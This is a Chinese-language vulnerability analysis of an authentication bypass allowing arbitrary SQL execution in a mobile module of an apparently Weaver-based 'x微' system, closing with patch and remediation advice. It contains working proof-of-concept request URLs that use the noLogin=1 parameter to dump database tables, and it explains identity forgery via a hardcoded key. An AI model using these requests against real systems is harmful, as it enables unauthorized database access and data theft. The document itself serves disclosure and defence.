x微前台绕过鉴权执行sql
字数 1238 2025-08-06 18:07:40
x微前台绕过鉴权执行SQL漏洞分析与利用
漏洞概述
该漏洞存在于x微系统的前台移动端模块,允许攻击者绕过鉴权机制直接执行任意SQL语句,可能导致敏感数据泄露、系统破坏等严重后果。
漏洞分析
关键代码文件
/formmodel/mobile/mec/servlet/MECAdminAction.java/formmodel/mobile/manager/MobileUserInit.java/mobile/plugin/ecology/service/AuthService.java
漏洞触发流程
-
权限验证缺陷:
- 系统在
MECAdminAction.java中对登录用户进行判断,检查是否为admin/sysadmin权限 - 但存在绕过机制,可通过
noLogin=1参数跳过登录验证
- 系统在
-
SQL执行入口:
- 系统获取
Action参数并判断是否为getDatasBySql - 直接调用
getDatasBySql方法执行SQL语句
- 系统获取
-
SQL执行过程:
- 获取HTTP请求中的
sql和datasource参数 - 对
datasource参数进行判断 - 执行成功后返回JSON格式的查询结果
- 获取HTTP请求中的
鉴权绕过机制
-
用户身份伪造:
- 通过
MobileUserInit.java中的userkey参数(用户可控)可伪造用户身份 - 系统使用硬编码密钥进行解密验证(
EDUtil.java中的decrypt方法)
- 通过
-
硬编码密钥:
- 密钥存储在
/formmodel/mobile/MobileModeConfig.java配置文件中 - 使用
EDFactory.java进行加密解密操作
- 密钥存储在
漏洞利用
利用链构造
-
直接访问方式:
http://[target]/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAdminAction&action=getDatasBySQL&datasource=&sql=select%20*%20from%20SystemSet -
完整利用POC:
http://127.0.0.1/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAdminAction&action=getDatasBySQL&datasource=&sql=select%20*%20from%20HrmResourceManager&noLogin=1
利用技巧
-
搜索漏洞类:
- 可使用正则搜索:
public\Wclass\W\w{0,}Action - 查找类似
getAction的方法调用
- 可使用正则搜索:
-
参数说明:
invoker: 指定要调用的Java类action: 指定要执行的方法datasource: 数据源(可为空)sql: 要执行的SQL语句noLogin: 绕过登录验证的关键参数
修复建议
-
官方补丁:
- 参考官方安全公告:https://www.weaver.com.cn/cs/securityDownload.html?src=cn
-
临时修复措施:
- 禁用
mobilemode/Action.jsp的匿名访问 - 加强
getDatasBySQL方法的权限验证 - 对SQL语句参数进行严格过滤
- 禁用
-
代码层面修复:
- 移除硬编码加密密钥
- 实现真正的权限验证机制
- 对SQL执行进行参数化处理
总结
该漏洞展示了系统在移动端接口设计中的严重安全问题,包括:
- 鉴权机制可被绕过
- 存在直接执行SQL的接口
- 使用硬编码密钥等不安全实践
攻击者可利用此漏洞直接操作数据库,获取敏感信息或破坏系统完整性。建议用户及时更新补丁,并对系统进行全面安全检查。